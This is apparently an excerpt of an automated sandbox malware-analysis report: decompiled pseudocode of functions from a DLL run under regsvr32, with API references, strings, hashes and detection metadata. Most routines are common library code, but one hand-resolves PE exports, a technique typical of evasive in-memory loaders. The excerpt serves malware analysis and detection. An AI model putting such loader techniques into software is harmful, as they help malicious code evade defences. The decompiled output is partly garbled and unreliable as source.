					_push(_t45);
					_push(_t39);
					_v172 = 0x10057298;
					E10017C83( &_v172, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, _t38, _t42, _t43);
					_t40 = E10013965(0x104);
					_v184 = _t40;
					_t35 = 0;
					_v172 = 0;
					if(_t40 != 0) {
						_t35 = E1000CF71(_t40);
					}
					return E10017C60(_t35);
				} else {
					if(__ebx > 0x20) {
						__ebx = 0x20;
					}
					__eax = __ebx - 4;
					asm("cdq");
					__eax = __ebx - 4 - __edx;
					__esi = __ebx + 0xf;
					__esi = __ebx + 0xf >> 4;
					__ebx - 4 - __edx = __ebx - 4 - __edx >> 1;
					__esi = __esi << 4;
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4);
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4) - __ebx;
					if(__edi > 0xc) {
						__edi = 0xc;
					}
					__eax = 0x20;
					if(__ecx > __eax) {
						_v24 = __eax;
					}
					 &_v12 = E100174D0(__edi,  &_v12, 0xff, 0x80);
					_v24 = _v24 + 0xfffffffa;
					_v24 + 0xfffffffa >> 1 = (_v24 + 0xfffffffa >> 1) * __esi;
					__ecx = __esi + __esi;
					__eax = __ebp + (_v24 + 0xfffffffa >> 1) * __esi * 2 - 0xc;
					__edx = 0x1002a144;
					_v20 = __esi + __esi;
					_v16 = 5;
					do {
						__si =  *__edx & 0x000000ff;
						__ecx = __edi;
						__si = ( *__edx & 0x000000ff) << __cl;
						__edx =  &(__edx[1]);
						__ecx = __si & 0x0000ffff;
						__eax->i = __ch;
						__eax->i = __cl;
						__eax = __eax + _v20;
						_t21 =  &_v16;
						 *_t21 = _v16 - 1;
					} while ( *_t21 != 0);
					__eax =  &_v12;
					__eax = CreateBitmap(__ebx, _v24, 1, 1,  &_v12);
					_pop(__edi);
					_pop(__esi);
					 *0x1005aa80 = __eax;
					_pop(__ebx);
					if(__eax == 0) {
						__eax = LoadBitmapA(__eax, 0x7fe3);
						 *0x1005aa80 = __eax;
					}
					__ecx = _a116;
					__ecx = _a116 ^ __ebp;
					__eax = E100167D5(__eax, __ebx, _a116 ^ __ebp, __edx, __edi, __esi);
					__ebp =  &_a120;
					__esp =  &_a120;
					_pop(__ebp);
					return __eax;
				}
			}

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APIs

GetMenuCheckMarkDimensions.USER32 ref: 1000B3C7
_memset.LIBCMT ref: 1000B429
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 1000B47B
LoadBitmapA.USER32 ref: 1000B493

Strings

, xrefs: 1000B3E8

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu_memset
String ID:
API String ID: 4271682439-3916222277
Opcode ID: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction ID: 72b3b778e8896de6b9c4d2b5d37ea691cdfdc38a5381d0430ce67680fa501abd
Opcode Fuzzy Hash: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction Fuzzy Hash: 5931F572A0065A9FFB10CF78CCC6AAE7BB5EB44384F25052AE506EB1C5D730EA45C750

Uniqueness

Uniqueness Score: -1.00%

Function 1000D86F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1000D86F(void* __edi, intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				int _t14;
				int _t18;
				intOrPtr* _t23;
				void* _t25;

				if(E1000D6C3() == 0) {
					if(_a4 != 0x12340042) {
						L9:
						_t14 = 0;
						L10:
						return _t14;
					}
					_t23 = _a8;
					if(_t23 == 0 ||  *_t23 < 0x28 || SystemParametersInfoA(0x30, 0,  &_v20, 0) == 0) {
						goto L9;
					} else {
						 *((intOrPtr*)(_t23 + 4)) = 0;
						 *((intOrPtr*)(_t23 + 8)) = 0;
						 *((intOrPtr*)(_t23 + 0xc)) = GetSystemMetrics(0);
						_t18 = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						 *(_t23 + 0x10) = _t18;
						 *((intOrPtr*)(_t23 + 0x24)) = 1;
						if( *_t23 >= 0x48) {
							E100199D4(_t25, _t23 + 0x28, 0x20, "DISPLAY", 0x1f);
						}
						_t14 = 1;
						goto L10;
					}
				}
				return  *0x1005a760(_a4, _a8);
			}

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0x00000000
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0x00000000
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0x1000d89e
0x00000000

APIs

SystemParametersInfoA.USER32(00000030,00000000,00000000,00000000), ref: 1000D8AD
GetSystemMetrics.USER32 ref: 1000D8C5
GetSystemMetrics.USER32 ref: 1000D8CC

Strings

B, xrefs: 1000D88C
DISPLAY, xrefs: 1000D8E9

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: System$Metrics$InfoParameters
String ID: B$DISPLAY
API String ID: 3136151823-3316187204
Opcode ID: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction ID: 9954a119ce47e65a3950f6e4b3e830268b9633322f26d87d987c4675ad6ec402
Opcode Fuzzy Hash: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction Fuzzy Hash: 7C118F71600328ABEB11EF649C84B9F7EA8EF057D0B108066FD09AA14AD6719951CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 1000C570, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C570(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__** _a4) {
				void* __edi;
				struct HWND__* _t10;
				struct HWND__* _t12;
				struct HWND__* _t14;
				struct HWND__* _t15;
				int _t19;
				void* _t21;
				void* _t25;
				struct HWND__** _t26;
				void* _t27;

				_t25 = __edx;
				_t21 = __ebx;
				_t26 = _a4;
				_t27 = __ecx;
				if(E1000DFD6(__ecx, __eflags, _t26) == 0) {
					_t10 = E1001040B(__ecx);
					__eflags = _t10;
					if(_t10 == 0) {
						L5:
						__eflags = _t26[1] - 0x100;
						if(_t26[1] != 0x100) {
							L13:
							return E1000E426(_t26);
						}
						_t12 = _t26[2];
						__eflags = _t12 - 0x1b;
						if(_t12 == 0x1b) {
							L8:
							__eflags = GetWindowLongA( *_t26, 0xfffffff0) & 0x00000004;
							if(__eflags == 0) {
								goto L13;
							}
							_t14 = E100140D6(_t21, _t25, _t26, __eflags,  *_t26, "Edit");
							__eflags = _t14;
							if(_t14 == 0) {
								goto L13;
							}
							_t15 = GetDlgItem( *(_t27 + 0x20), 2);
							__eflags = _t15;
							if(_t15 == 0) {
								L12:
								SendMessageA( *(_t27 + 0x20), 0x111, 2, 0);
								goto L1;
							}
							_t19 = IsWindowEnabled(_t15);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L13;
							}
							goto L12;
						}
						__eflags = _t12 - 3;
						if(_t12 != 3) {
							goto L13;
						}
						goto L8;
					}
					__eflags =  *(_t10 + 0x68);
					if( *(_t10 + 0x68) == 0) {
						goto L5;
					}
					return 0;
				}
				L1:
				return 1;
			}

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0x00000000

Strings

Edit, xrefs: 1000C5C0

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction ID: c36f5ccd8b34139a66e87801a9a5321a409f351d494de0105f07b228c10d2adb
Opcode Fuzzy Hash: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction Fuzzy Hash: F4015E3820070AA7FA65DB258D45F5AB6E5EF056D2F214429F942F10B8CFB0FD91D560

Uniqueness

Uniqueness Score: -1.00%

Function 1000BC89, Relevance: 7.6, APIs: 5, Instructions: 75
registryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E1000BC89(signed int __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				signed int _t25;
				signed int _t30;
				void* _t32;
				signed int _t34;
				signed int _t42;
				void* _t43;
				void* _t44;
				char** _t54;
				void* _t55;
				void* _t58;
				char* _t59;
				void* _t61;

				_t42 = __ebx;
				_t59 = _t61 - 0x104;
				_t25 =  *0x10057a08; // 0xe6b5ff6d
				_t59[0x108] = _t25 ^ _t59;
				_push(0x18);
				E10017BF4(E10027F23, __ebx, __edi, __esi);
				_t54 = _t59[0x118];
				_t44 = _t59[0x114];
				_t52 = _t59 - 0x18;
				 *(_t59 - 0x20) = _t44;
				 *(_t59 - 0x1c) = _t54;
				_t30 = RegOpenKeyA(_t44,  *_t54, _t59 - 0x18);
				_t57 = _t30;
				if(_t30 == 0) {
					while(1) {
						_t34 = RegEnumKeyA( *(_t59 - 0x18), 0, _t59, 0x104);
						_t57 = _t34;
						_t66 = _t57;
						if(_t57 != 0) {
							break;
						}
						 *(_t59 - 4) =  *(_t59 - 4) & _t34;
						_push(_t59);
						E10009FA3(_t42, _t59 - 0x14, _t54, _t57, _t66);
						 *(_t59 - 4) = 1;
						_t57 = E1000BC89(_t42, _t54, _t57, _t66,  *(_t59 - 0x18), _t59 - 0x14);
						_t42 = _t42 & 0xffffff00 | _t57 != 0x00000000;
						 *(_t59 - 4) = 0;
						E10009CB7( *((intOrPtr*)(_t59 - 0x14)) + 0xfffffff0, _t52);
						if(_t42 == 0) {
							 *(_t59 - 4) =  *(_t59 - 4) | 0xffffffff;
							continue;
						}
						break;
					}
					__eflags = _t57 - 0x103;
					if(_t57 == 0x103) {
						L6:
						_t57 = RegDeleteKeyA( *(_t59 - 0x20),  *_t54);
					} else {
						__eflags = _t57 - 0x3f2;
						if(_t57 == 0x3f2) {
							goto L6;
						}
					}
					RegCloseKey( *(_t59 - 0x18));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				_pop(_t55);
				_pop(_t58);
				_pop(_t43);
				_t32 = E100167D5(_t57, _t43, _t59[0x108] ^ _t59, _t52, _t55, _t58);
				__eflags =  &(_t59[0x10c]);
				return _t32;
			}

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APIs

__EH_prolog3_catch.LIBCMT ref: 1000BCA8
RegOpenKeyA.ADVAPI32(?,00000000,?), ref: 1000BCC7
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BCE5
RegDeleteKeyA.ADVAPI32(?,?), ref: 1000BD60
RegCloseKey.ADVAPI32(?), ref: 1000BD6B

Part of subcall function 10009FA3: __EH_prolog3.LIBCMT ref: 10009FAA

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseDeleteEnumH_prolog3H_prolog3_catchOpen
String ID:
API String ID: 301487041-0
Opcode ID: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction ID: 653bf45c983c6aa9a2c45ec2c29e65d920d70d1e6a7a13c67c9db93679124605
Opcode Fuzzy Hash: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction Fuzzy Hash: 0921A075D0465A9FEB21DF94CC81AEDB7B0FF04390F104126ED55A7290EB705E44DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013F9E, Relevance: 7.6, APIs: 5, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F9E(void* __ecx, intOrPtr __edx, struct HWND__* _a4, CHAR* _a8) {
				signed int _v8;
				char _v263;
				char _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				struct HWND__* _t21;
				void* _t22;
				intOrPtr _t25;
				void* _t26;
				int _t27;
				CHAR* _t28;
				signed int _t29;

				_t25 = __edx;
				_t22 = __ecx;
				_t9 =  *0x10057a08; // 0xe6b5ff6d
				_v8 = _t9 ^ _t29;
				_t21 = _a4;
				_t32 = _t21;
				_t28 = _a8;
				if(_t21 == 0) {
					L1:
					E1000A0DB(_t21, _t22, _t26, _t28, _t32);
				}
				if(_t28 == 0) {
					goto L1;
				}
				_t27 = lstrlenA(_t28);
				_v264 = 0;
				E100174D0(_t27,  &_v263, 0, 0xff);
				if(_t27 > 0x100 || GetWindowTextA(_t21,  &_v264, 0x100) != _t27 || lstrcmpA( &_v264, _t28) != 0) {
					_t16 = SetWindowTextA(_t21, _t28);
				}
				return E100167D5(_t16, _t21, _v8 ^ _t29, _t25, _t27, _t28);
			}

0x10013f9e
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0x10014031

APIs

lstrlenA.KERNEL32(?,?,00000000), ref: 10013FC8
_memset.LIBCMT ref: 10013FE5
GetWindowTextA.USER32 ref: 10013FFF
lstrcmpA.KERNEL32(00000000,?), ref: 10014011
SetWindowTextA.USER32(?,?), ref: 1001401D

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction ID: fa7108181993de9b8ea87dd6eaa7291c2451852d429ff63cadea9d36e3b3e8b2
Opcode Fuzzy Hash: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction Fuzzy Hash: 3901C0B6A00228ABE711DB65DCC4FDF77ACEF18790F110065EA45D7141DA70DE848BA0

Uniqueness

Uniqueness Score: -1.00%

Function 10010C0F, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E10010C0F(void* __ebx, void* __edi, void* __ebp, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				void* __esi;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				void* _t25;
				void* _t26;
				void* _t28;

				_t28 = __eflags;
				_t24 = __edi;
				_t21 = __ebx;
				E1001431B(__ebx, _t25, __ebp, 0xc);
				_push(E100100DE);
				_t26 = E100139F5(__ebx, 0x1005a8e0, __edi, _t25, _t28);
				_t29 = _t26;
				if(_t26 == 0) {
					E1000A0DB(_t21, 0x1005a8e0, __edi, _t26, _t29);
				}
				_t30 =  *(_t26 + 8);
				if( *(_t26 + 8) != 0) {
					L7:
					E10014388(0xc);
					return  *(_t26 + 8)(_v4, _v0, _a4, _a8);
				} else {
					_push("hhctrl.ocx");
					_t16 = E1000E725(_t21, 0x1005a8e0, _t24, _t26, _t30);
					 *(_t26 + 4) = _t16;
					if(_t16 != 0) {
						_t17 = GetProcAddress(_t16, "HtmlHelpA");
						__eflags = _t17;
						 *(_t26 + 8) = _t17;
						if(_t17 != 0) {
							goto L7;
						}
						FreeLibrary( *(_t26 + 4));
						 *(_t26 + 4) =  *(_t26 + 4) & 0x00000000;
					}
					return 0;
				}
			}

0x10010c0f
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APIs

Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
Part of subcall function 1001431B: InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
Part of subcall function 1001431B: LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 100139F5: __EH_prolog3_catch.LIBCMT ref: 100139FC

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 10010C53
FreeLibrary.KERNEL32(?), ref: 10010C63

Strings

HtmlHelpA, xrefs: 10010C4D
hhctrl.ocx, xrefs: 10010C37

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Enter$AddressException@8FreeH_prolog3H_prolog3_catchInitializeLeaveLibraryProcThrow
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 2853499158-63838506
Opcode ID: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction ID: 8873b40b3358b87e9332ca8c9146562190e137befea279647b799a71fcd87530
Opcode Fuzzy Hash: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction Fuzzy Hash: 7001F431204303DFE321DFA1DE05B4A76E0EF05781F018A08F4DAA8061DBB1D8D0DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 100224E9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E100224E9() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x1002bb98;
					_v28 =  *0x1002bb90;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

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0x00000000
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0x1002250c
0x1002250c
0x10022506

APIs

GetModuleHandleA.KERNEL32(KERNEL32,1001A130), ref: 100224EE
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 100224FE

Strings

IsProcessorFeaturePresent, xrefs: 100224F8
KERNEL32, xrefs: 100224E9

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction ID: b1380c49f8d15cda8b98f9f56e3724ed638b8beb480886d8724856f67b077174
Opcode Fuzzy Hash: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction Fuzzy Hash: EDF03030900D1EE2EF00ABE1BC596AF7A78FB44785FD20490E681B0088DF7181718681

Uniqueness

Uniqueness Score: -1.00%

Function 10002D50, Relevance: 6.4, APIs: 5, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002D50(intOrPtr __ecx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				signed short* _v36;
				intOrPtr _v40;
				void* _t79;
				void* _t119;

				_v40 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v12 = 0;
				_v16 =  *_a4 + 0x78;
				if( *((intOrPtr*)(_v16 + 4)) != 0) {
					_v8 = _v20 +  *_v16;
					if( *((intOrPtr*)(_v8 + 0x18)) == 0 ||  *((intOrPtr*)(_v8 + 0x14)) == 0) {
						SetLastError(0x7f);
						return 0;
					} else {
						if((_a8 >> 0x00000010 & 0x0000ffff) != 0) {
							_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x20));
							_v36 = _v20 +  *((intOrPtr*)(_v8 + 0x24));
							_v24 = 0;
							_v28 = 0;
							while(_v28 <  *((intOrPtr*)(_v8 + 0x18))) {
								_t79 = E10001F70(_a8, _v20 +  *_v32);
								_t119 = _t119 + 8;
								if(_t79 != 0) {
									_v28 = _v28 + 1;
									_v32 = _v32 + 4;
									_v36 =  &(_v36[1]);
									continue;
								}
								_v12 =  *_v36 & 0x0000ffff;
								_v24 = 1;
								break;
							}
							if(_v24 != 0) {
								L17:
								if(_v12 <=  *((intOrPtr*)(_v8 + 0x14))) {
									return _v20 +  *((intOrPtr*)(_v20 +  *((intOrPtr*)(_v8 + 0x1c)) + _v12 * 4));
								}
								SetLastError(0x7f);
								return 0;
							}
							SetLastError(0x7f);
							return 0;
						}
						if((_a8 & 0xffff) >=  *((intOrPtr*)(_v8 + 0x10))) {
							_v12 = (_a8 & 0xffff) -  *((intOrPtr*)(_v8 + 0x10));
							goto L17;
						}
						SetLastError(0x7f);
						return 0;
					}
				}
				SetLastError(0x7f);
				return 0;
			}

0x10002d56
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0x00000000

APIs

SetLastError.KERNEL32(0000007F), ref: 10002D7F
SetLastError.KERNEL32(0000007F), ref: 10002DAB

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
Instruction ID: 028074866867044f4bb64f701422ec5252acdb94d91fdee864382ef112f730bb
Opcode Fuzzy Hash: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
Instruction Fuzzy Hash: F7510570A4415AEFEF04CF94C880AAEB7F1FF48384F608569D855AB349D734EA41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10023E83, Relevance: 6.1, APIs: 4, Instructions: 101
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10023E83(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E10016E2B( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E1001E243( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x840ffff8
								__eflags = MultiByteToWideChar( *_t40, 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E10017D62(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0xa045ff98
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0xa045ff98
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								__eflags = _v8;
								_t27 = _t56 + 0xac; // 0xa045ff98
								_t57 =  *_t27;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x840ffff8
							_t58 = MultiByteToWideChar( *_t21, 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

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APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10023EB3
__isleadbyte_l.LIBCMT ref: 10023EE7
